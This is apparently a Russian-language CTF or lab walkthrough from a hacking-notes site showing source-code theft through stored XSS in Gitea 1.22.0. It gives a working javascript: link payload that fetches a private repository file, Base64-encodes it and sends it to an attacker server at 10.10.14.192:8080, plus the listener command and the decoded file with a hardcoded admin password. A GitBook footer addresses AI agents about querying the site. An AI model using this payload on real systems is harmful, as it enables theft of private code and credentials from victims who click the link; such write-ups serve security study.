> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xxs-source-code-theft.md).

# Кража исходного кода через XSS

### XSS в Gitea (v1.22.0)

Вкл. `http://localhost:3000` -> **Gitea** доступна.

<figure><img src="/files/330f849d6524526a182a1c2cb51425736ae7bdde" alt=""><figcaption></figcaption></figure>

Соединение с учетными данными для Axel.

<figure><img src="/files/48cee6b08d6036cf675e2186c2fc7af2ab215559" alt=""><figcaption></figcaption></figure>

Известная уязвимость XSS.

<figure><img src="/files/bfadd74434fa74fea766a01eabd2b0675a17b52d" alt=""><figcaption></figcaption></figure>

Мы создаем проект с описанием, содержащим:

```bash
<a href=javascript:alert()>Тест XSS</a>

```

<figure><img src="/files/774dd24f6a569e0b72ce1b927329b814fa8d71bb" alt=""><figcaption></figcaption></figure>

* Результат:

<figure><img src="/files/e5d4224dd8d6fab3cbb0108348716552552c0995" alt=""><figcaption></figcaption></figure>

### Перехваченная почта через LinPEAS

<figure><img src="/files/41c9278990358b53728a22ea234a77a8b830e878" alt=""><figcaption></figcaption></figure>

содержимое письма:

* jobert\@localhost должен проверить репозиторий Gitea

<figure><img src="/files/0540ea0956f5bbad7cf0c8d24cf161088a1077fa" alt=""><figcaption></figcaption></figure>

Мы отправляем XSS-ссылку, содержащую скрипт эксфильтрации, который читает содержимое страницы `index.php` репозитория Gitea, кодирует его в Base64, затем отправляет на наш веб-сервер

{% code overflow="wrap" %}

```bash
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.14.192:8080/?d=' + encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));">ВЗЛОМАНО</a>

```

{% endcode %}

<figure><img src="/files/a2f96e2cdcf799b0bd18df11967d80c207ccfff5" alt=""><figcaption></figcaption></figure>

#### Через наш веб-сервер

```bash
python -m http.server 8080

```

<figure><img src="/files/e9d7d99983421860a543931ae4325355d7cf4c80" alt=""><figcaption></figcaption></figure>

#### Перехваченное содержимое (декодировано из Base64):

```bash
echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d

```

* $valid/\_username = 'admin';
* $valid/\_password = 'IKw75eR0MR7CMIxhH0';

<figure><img src="/files/661e68d3085c5be028f6faa76d23d9b4493a7ace" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xxs-source-code-theft.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
